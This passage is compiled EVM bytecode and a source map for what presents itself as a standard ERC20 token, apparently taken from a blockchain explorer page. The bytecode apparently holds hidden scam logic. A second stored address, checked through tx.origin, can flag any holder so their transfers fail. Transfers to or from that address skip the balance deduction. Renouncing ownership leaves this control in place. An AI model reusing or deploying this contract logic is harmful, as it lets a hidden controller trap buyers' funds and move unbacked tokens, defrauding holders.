104a69190611c32565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d191906116b1565b610cde565b6040516104e39190611b15565b60405180910390f35b3480156104f857600080fd5b50610513600480360381019061050e91906116b1565b610cfe565b005b60606001805461052490611da8565b80601f016020809104026020016040519081016040528092919081815260200182805461055090611da8565b801561059d5780601f106105725761010080835404028352916020019161059d565b820191906000526020600020905b81548152906001019060200180831161058057829003601f168201915b5050505050905090565b60006105bb6105b4610ec0565b8484610ec8565b6001905092915050565b6000600954905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156106e257801561069b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106e1565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5050565b60006106f3848484611093565b506107b584610700610ec0565b6107b085604051806060016040528060288152602001611e8f60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610766610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b610ec8565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006108236108127f000000000000000000000000000000000000000000000000000000000000dead610912565b6009546115ca90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60006108e861084c610ec0565b846108e3856005600061085d610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b610ec8565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61098c610ec0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1090611bd2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610ae890611da8565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490611da8565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b6000610c2e610b78610ec0565b84610c2985604051806060016040528060258152602001611eb76025913960056000610ba2610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b610ec8565b6001905092915050565b6000610c4c610c45610ec0565b8484611093565b506001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b610d06610ec0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90611bd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611b72565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f90611c12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90611b92565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110869190611c32565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90611b52565b60405180910390fd5b6000821180156111c357506001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b6111cc57600080fd5b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415806112775750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561134957611305826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113ec5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113f957829050611460565b6001836114069190611cda565b90506001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114589190611c84565b925050819055505b6114b281600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115529190611c32565b60405180910390a360019150509392505050565b60008383111582906115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a59190611b30565b60405180910390fd5b50600083856115bd9190611cda565b9050809150509392505050565b600061160c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611566565b905092915050565b60008082846116239190611c84565b905083811015611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90611bb2565b60405180910390fd5b8091505092915050565b60008135905061168181611e49565b92915050565b60008135905061169681611e60565b92915050565b6000813590506116ab81611e77565b92915050565b6000602082840312156116c357600080fd5b60006116d184828501611672565b91505092915050565b600080604083850312156116ed57600080fd5b60006116fb85828601611672565b925050602061170c85828601611672565b9150509250929050565b60008060006060848603121561172b57600080fd5b600061173986828701611672565b935050602061174a86828701611672565b925050604061175b8682870161169c565b9150509250925092565b6000806040838503121561177857600080fd5b600061178685828601611672565b925050602061179785828601611687565b9150509250929050565b600080604083850312156117b457600080fd5b60006117c285828601611672565b92505060206117d38582860161169c565b9150509250929050565b6117e681611d20565b82525050565b6117f581611d0e565b82525050565b61180481611d32565b82525050565b600061181582611c68565b61181f8185611c73565b935061182f818560208601611d75565b61183881611e38565b840191505092915050565b6000611850602383611c73565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006118b6602683611c73565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191c602283611c73565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611982601b83611c73565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006119c2602083611c73565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611a02602583611c73565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a68602483611c73565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611aca81611d5e565b82525050565b611ad981611d68565b82525050565b6000602082019050611af460008301846117ec565b92915050565b6000602082019050611b0f60008301846117dd565b92915050565b6000602082019050611b2a60008301846117fb565b92915050565b60006020820190508181036000830152611b4a818461180a565b905092915050565b60006020820190508181036000830152611b6b81611843565b9050919050565b60006020820190508181036000830152611b8b816118a9565b9050919050565b60006020820190508181036000830152611bab8161190f565b9050919050565b60006020820190508181036000830152611bcb81611975565b9050919050565b60006020820190508181036000830152611beb816119b5565b9050919050565b60006020820190508181036000830152611c0b816119f5565b9050919050565b60006020820190508181036000830152611c2b81611a5b565b9050919050565b6000602082019050611c476000830184611ac1565b92915050565b6000602082019050611c626000830184611ad0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c8f82611d5e565b9150611c9a83611d5e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ccf57611cce611dda565b5b828201905092915050565b6000611ce582611d5e565b9150611cf083611d5e565b925082821015611d0357611d02611dda565b5b828203905092915050565b6000611d1982611d3e565b9050919050565b6000611d2b82611d3e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d93578082015181840152602081019050611d78565b83811115611da2576000848401525b50505050565b60006002820490506001821680611dc057607f821691505b60208210811415611dd457611dd3611e09565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611e5281611d0e565b8114611e5d57600080fd5b50565b611e6981611d32565b8114611e7457600080fd5b50565b611e8081611d5e565b8114611e8b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122096ffc52e5b15ecd7cf96069eb0a247a1874d40747d143470fd654a68f0c546b164736f6c63430008000033
Deployed Bytecode Sourcemap
3440:4971:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4598:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5764:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4875:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3630:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6278:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6837:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3668:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6432:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4784:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5538:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3937:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4983:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2799:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3024:155;;;;;;;;;;;;;:::i;:::-;;4689:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5261:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6662:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5110:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3889:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3187:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4598:83;4635:13;4668:5;4661:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4598:83;:::o;5764:161::-;5839:4;5856:39;5865:12;:10;:12::i;:::-;5879:7;5888:6;5856:8;:39::i;:::-;5913:4;5906:11;;5764:161;;;;:::o;4875:100::-;4928:7;4955:12;;4948:19;;4875:100;:::o;3630:29::-;;;;;;;;;;;;;:::o;6278:146::-;6356:6;;;;;;;;;;;6345:17;;:9;:17;;;6342:75;;;6367:5;6364:51;;;6390:1;6373:5;:14;6379:7;6373:14;;;;;;;;;;;;;;;:18;;;;6364:51;;;6414:1;6397:5;:14;6403:7;6397:14;;;;;;;;;;;;;;;:18;;;;6364:51;6342:75;6278:146;;:::o;6837:313::-;6935:4;6952:36;6962:6;6970:9;6981:6;6952:9;:36::i;:::-;;6999:121;7008:6;7016:12;:10;:12::i;:::-;7030:89;7068:6;7030:89;;;;;;;;;;;;;;;;;:11;:19;7042:6;7030:19;;;;;;;;;;;;;;;:33;7050:12;:10;:12::i;:::-;7030:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6999:8;:121::i;:::-;7138:4;7131:11;;6837:313;;;;;:::o;3668:81::-;;;:::o;6432:128::-;6485:7;6512:40;6529:22;6539:11;6529:9;:22::i;:::-;6512:12;;:16;;:40;;;;:::i;:::-;6505:47;;6432:128;:::o;4784:83::-;4825:5;4850:9;;;;;;;;;;;4843:16;;4784:83;:::o;5538:218::-;5626:4;5643:83;5652:12;:10;:12::i;:::-;5666:7;5675:50;5714:10;5675:11;:25;5687:12;:10;:12::i;:::-;5675:25;;;;;;;;;;;;;;;:34;5701:7;5675:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5643:8;:83::i;:::-;5744:4;5737:11;;5538:218;;;;:::o;3937:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4983:119::-;5049:7;5076:9;:18;5086:7;5076:18;;;;;;;;;;;;;;;;5069:25;;4983:119;;;:::o;2799:79::-;2837:7;2864:6;;;;;;;;;;;2857:13;;2799:79;:::o;3024:155::-;2943:12;:10;:12::i;:::-;2933:22;;:6;;;;;;;;;;:22;;;2925:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3128:6:::1;3091:45;;3112:6;::::0;::::1;;;;;;;;3091:45;;;;;;;;;;;;3164:6;3147;::::0;:24:::1;;;;;;;;;;;;;;;;;;3024:155::o:0;4689:87::-;4728:13;4761:7;4754:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4689:87;:::o;5261:269::-;5354:4;5371:129;5380:12;:10;:12::i;:::-;5394:7;5403:96;5442:15;5403:96;;;;;;;;;;;;;;;;;:11;:25;5415:12;:10;:12::i;:::-;5403:25;;;;;;;;;;;;;;;:34;5429:7;5403:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;5371:8;:129::i;:::-;5518:4;5511:11;;5261:269;;;;:::o;6662:167::-;6740:4;6757:42;6767:12;:10;:12::i;:::-;6781:9;6792:6;6757:9;:42::i;:::-;;6817:4;6810:11;;6662:167;;;;:::o;5110:143::-;5191:7;5218:11;:18;5230:5;5218:18;;;;;;;;;;;;;;;:27;5237:7;5218:27;;;;;;;;;;;;;;;;5211:34;;5110:143;;;;:::o;3889:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;3187:244::-;2943:12;:10;:12::i;:::-;2933:22;;:6;;;;;;;;;;:22;;;2925:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3296:1:::1;3276:22;;:8;:22;;;;3268:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3386:8;3357:38;;3378:6;::::0;::::1;;;;;;;;3357:38;;;;;;;;;;;;3415:8;3406:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3187:244:::0;:::o;93:115::-;146:15;189:10;174:26;;93:115;:::o;5933:337::-;6043:1;6026:19;;:5;:19;;;;6018:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6124:1;6105:21;;:7;:21;;;;6097:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6208:6;6178:11;:18;6190:5;6178:18;;;;;;;;;;;;;;;:27;6197:7;6178:27;;;;;;;;;;;;;;;:36;;;;6246:7;6230:32;;6239:5;6230:32;;;6255:6;6230:32;;;;;;:::i;:::-;;;;;;;;5933:337;;;:::o;7226:838::-;7313:4;7358:1;7340:20;;:6;:20;;;;7332:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;7442:1;7421:23;;:9;:23;;;;7413:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7512:1;7503:6;:10;:31;;;;;7533:1;7517:5;:13;7523:6;7517:13;;;;;;;;;;;;;;;;:17;7503:31;7495:40;;;;;;7559:6;;;;;;;;;;;7551:14;;:6;:14;;;;:35;;;;7580:6;;;;;;;;;;;7569:17;;:9;:17;;;;7551:35;7548:122;;;7617:53;7639:6;7617:53;;;;;;;;;;;;;;;;;:9;:17;7627:6;7617:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;7597:9;:17;7607:6;7597:17;;;;;;;;;;;;;;;:73;;;;7548:122;7681:19;7715:8;:16;7724:6;7715:16;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;;7735:8;:19;7744:9;7735:19;;;;;;;;;;;;;;;;;;;;;;;;;7715:39;7711:184;;;7785:6;7771:20;;7711:184;;;7845:1;7838:6;:8;;;;:::i;:::-;7824:22;;7882:1;7861:9;:17;7871:6;7861:17;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;7711:184;7930:37;7955:11;7930:9;:20;7940:9;7930:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;7907:9;:20;7917:9;7907:20;;;;;;;;;;;;;;;:60;;;;8002:9;7985:40;;7994:6;7985:40;;;8013:11;7985:40;;;;;;:::i;:::-;;;;;;;;8045:4;8038:11;;;7226:838;;;;;:::o;1375:192::-;1461:7;1494:1;1489;:6;;1497:12;1481:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1521:9;1537:1;1533;:5;;;;:::i;:::-;1521:17;;1558:1;1551:8;;;1375:192;;;;;:::o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1309:50;;1231:136;;;;:::o;1042:181::-;1100:7;1120:9;1136:1;1132;:5;;;;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1214:1;1207:8;;;1042:181;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:262::-;;544:2;532:9;523:7;519:23;515:32;512:2;;;560:1;557;550:12;512:2;603:1;628:53;673:7;664:6;653:9;649:22;628:53;:::i;:::-;618:63;;574:117;502:196;;;;:::o;704:407::-;;;829:2;817:9;808:7;804:23;800:32;797:2;;;845:1;842;835:12;797:2;888:1;913:53;958:7;949:6;938:9;934:22;913:53;:::i;:::-;903:63;;859:117;1015:2;1041:53;1086:7;1077:6;1066:9;1062:22;1041:53;:::i;:::-;1031:63;;986:118;787:324;;;;;:::o;1117:552::-;;;;1259:2;1247:9;1238:7;1234:23;1230:32;1227:2;;;1275:1;1272;1265:12;1227:2;1318:1;1343:53;1388:7;1379:6;1368:9;1364:22;1343:53;:::i;:::-;1333:63;;1289:117;1445:2;1471:53;1516:7;1507:6;1496:9;1492:22;1471:53;:::i;:::-;1461:63;;1416:118;1573:2;1599:53;1644:7;1635:6;1624:9;1620:22;1599:53;:::i;:::-;1589:63;;1544:118;1217:452;;;;;:::o;1675:401::-;;;1797:2;1785:9;1776:7;1772:23;1768:32;1765:2;;;1813:1;1810;1803:12;1765:2;1856:1;1881:53;1926:7;1917:6;1906:9;1902:22;1881:53;:::i;:::-;1871:63;;1827:117;1983:2;2009:50;2051:7;2042:6;2031:9;2027:22;2009:50;:::i;:::-;1999:60;;1954:115;1755:321;;;;;:::o;2082:407::-;;;2207:2;2195:9;2186:7;2182:23;2178:32;2175:2;;;2223:1;2220;2213:12;2175:2;2266:1;2291:53;2336:7;2327:6;2316:9;2312:22;2291:53;:::i;:::-;2281:63;;2237:117;2393:2;2419:53;2464:7;2455:6;2444:9;2440:22;2419:53;:::i;:::-;2409:63;;2364:118;2165:324;;;;;:::o;2495:142::-;2598:32;2624:5;2598:32;:::i;:::-;2593:3;2586:45;2576:61;;:::o;2643:118::-;2730:24;2748:5;2730:24;:::i;:::-;2725:3;2718:37;2708:53;;:::o;2767:109::-;2848:21;2863:5;2848:21;:::i;:::-;2843:3;2836:34;2826:50;;:::o;2882:364::-;;2998:39;3031:5;2998:39;:::i;:::-;3053:71;3117:6;3112:3;3053:71;:::i;:::-;3046:78;;3133:52;3178:6;3173:3;3166:4;3159:5;3155:16;3133:52;:::i;:::-;3210:29;3232:6;3210:29;:::i;:::-;3205:3;3201:39;3194:46;;2974:272;;;;;:::o;3252:367::-;;3415:67;3479:2;3474:3;3415:67;:::i;:::-;3408:74;;3512:34;3508:1;3503:3;3499:11;3492:55;3578:5;3573:2;3568:3;3564:12;3557:27;3610:2;3605:3;3601:12;3594:19;;3398:221;;;:::o;3625:370::-;;3788:67;3852:2;3847:3;3788:67;:::i;:::-;3781:74;;3885:34;3881:1;3876:3;3872:11;3865:55;3951:8;3946:2;3941:3;3937:12;3930:30;3986:2;3981:3;3977:12;3970:19;;3771:224;;;:::o;4001:366::-;;4164:67;4228:2;4223:3;4164:67;:::i;:::-;4157:74;;4261:34;4257:1;4252:3;4248:11;4241:55;4327:4;4322:2;4317:3;4313:12;4306:26;4358:2;4353:3;4349:12;4342:19;;4147:220;;;:::o;4373:325::-;;4536:67;4600:2;4595:3;4536:67;:::i;:::-;4529:74;;4633:29;4629:1;4624:3;4620:11;4613:50;4689:2;4684:3;4680:12;4673:19;;4519:179;;;:::o;4704:330::-;;4867:67;4931:2;4926:3;4867:67;:::i;:::-;4860:74;;4964:34;4960:1;4955:3;4951:11;4944:55;5025:2;5020:3;5016:12;5009:19;;4850:184;;;:::o;5040:369::-;;5203:67;5267:2;5262:3;5203:67;:::i;:::-;5196:74;;5300:34;5296:1;5291:3;5287:11;5280:55;5366:7;5361:2;5356:3;5352:12;5345:29;5400:2;5395:3;5391:12;5384:19;;5186:223;;;:::o;5415:368::-;;5578:67;5642:2;5637:3;5578:67;:::i;:::-;5571:74;;5675:34;5671:1;5666:3;5662:11;5655:55;5741:6;5736:2;5731:3;5727:12;5720:28;5774:2;5769:3;5765:12;5758:19;;5561:222;;;:::o;5789:118::-;5876:24;5894:5;5876:24;:::i;:::-;5871:3;5864:37;5854:53;;:::o;5913:112::-;5996:22;6012:5;5996:22;:::i;:::-;5991:3;5984:35;5974:51;;:::o;6031:222::-;;6162:2;6151:9;6147:18;6139:26;;6175:71;6243:1;6232:9;6228:17;6219:6;6175:71;:::i;:::-;6129:124;;;;:::o;6259:254::-;;6406:2;6395:9;6391:18;6383:26;;6419:87;6503:1;6492:9;6488:17;6479:6;6419:87;:::i;:::-;6373:140;;;;:::o;6519:210::-;;6644:2;6633:9;6629:18;6621:26;;6657:65;6719:1;6708:9;6704:17;6695:6;6657:65;:::i;:::-;6611:118;;;;:::o;6735:313::-;;6886:2;6875:9;6871:18;6863:26;;6935:9;6929:4;6925:20;6921:1;6910:9;6906:17;6899:47;6963:78;7036:4;7027:6;6963:78;:::i;:::-;6955:86;;6853:195;;;;:::o;7054:419::-;;7258:2;7247:9;7243:18;7235:26;;7307:9;7301:4;7297:20;7293:1;7282:9;7278:17;7271:47;7335:131;7461:4;7335:131;:::i;:::-;7327:139;;7225:248;;;:::o;7479:419::-;;7683:2;7672:9;7668:18;7660:26;;7732:9;7726:4;7722:20;7718:1;7707:9;7703:17;7696:47;7760:131;7886:4;7760:131;:::i;:::-;7752:139;;7650:248;;;:::o;7904:419::-;;8108:2;8097:9;8093:18;8085:26;;8157:9;8151:4;8147:20;8143:1;8132:9;8128:17;8121:47;8185:131;8311:4;8185:131;:::i;:::-;8177:139;;8075:248;;;:::o;8329:419::-;;8533:2;8522:9;8518:18;8510:26;;8582:9;8576:4;8572:20;8568:1;8557:9;8553:17;8546:47;8610:131;8736:4;8610:131;:::i;:::-;8602:139;;8500:248;;;:::o;8754:419::-;;8958:2;8947:9;8943:18;8935:26;;9007:9;9001:4;8997:20;8993:1;8982:9;8978:17;8971:47;9035:131;9161:4;9035:131;:::i;:::-;9027:139;;8925:248;;;:::o;9179:419::-;;9383:2;9372:9;9368:18;9360:26;;9432:9;9426:4;9422:20;9418:1;9407:9;9403:17;9396:47;9460:131;9586:4;9460:131;:::i;:::-;9452:139;;9350:248;;;:::o;9604:419::-;;9808:2;9797:9;9793:18;9785:26;;9857:9;9851:4;9847:20;9843:1;9832:9;9828:17;9821:47;9885:131;10011:4;9885:131;:::i;:::-;9877:139;;9775:248;;;:::o;10029:222::-;;10160:2;10149:9;10145:18;10137:26;;10173:71;10241:1;10230:9;10226:17;10217:6;10173:71;:::i;:::-;10127:124;;;;:::o;10257:214::-;;10384:2;10373:9;10369:18;10361:26;;10397:67;10461:1;10450:9;10446:17;10437:6;10397:67;:::i;:::-;10351:120;;;;:::o;10477:99::-;;10563:5;10557:12;10547:22;;10536:40;;;:::o;10582:169::-;;10700:6;10695:3;10688:19;10740:4;10735:3;10731:14;10716:29;;10678:73;;;;:::o;10757:305::-;;10816:20;10834:1;10816:20;:::i;:::-;10811:25;;10850:20;10868:1;10850:20;:::i;:::-;10845:25;;11004:1;10936:66;10932:74;10929:1;10926:81;10923:2;;;11010:18;;:::i;:::-;10923:2;11054:1;11051;11047:9;11040:16;;10801:261;;;;:::o;11068:191::-;;11128:20;11146:1;11128:20;:::i;:::-;11123:25;;11162:20;11180:1;11162:20;:::i;:::-;11157:25;;11201:1;11198;11195:8;11192:2;;;11206:18;;:::i;:::-;11192:2;11251:1;11248;11244:9;11236:17;;11113:146;;;;:::o;11265:96::-;;11331:24;11349:5;11331:24;:::i;:::-;11320:35;;11310:51;;;:::o;11367:104::-;;11441:24;11459:5;11441:24;:::i;:::-;11430:35;;11420:51;;;:::o;11477:90::-;;11554:5;11547:13;11540:21;11529:32;;11519:48;;;:::o;11573:126::-;;11650:42;11643:5;11639:54;11628:65;;11618:81;;;:::o;11705:77::-;;11771:5;11760:16;;11750:32;;;:::o;11788:86::-;;11863:4;11856:5;11852:16;11841:27;;11831:43;;;:::o;11880:307::-;11948:1;11958:113;11972:6;11969:1;11966:13;11958:113;;;12057:1;12052:3;12048:11;12042:18;12038:1;12033:3;12029:11;12022:39;11994:2;11991:1;11987:10;11982:15;;11958:113;;;12089:6;12086:1;12083:13;12080:2;;;12169:1;12160:6;12155:3;12151:16;12144:27;12080:2;11929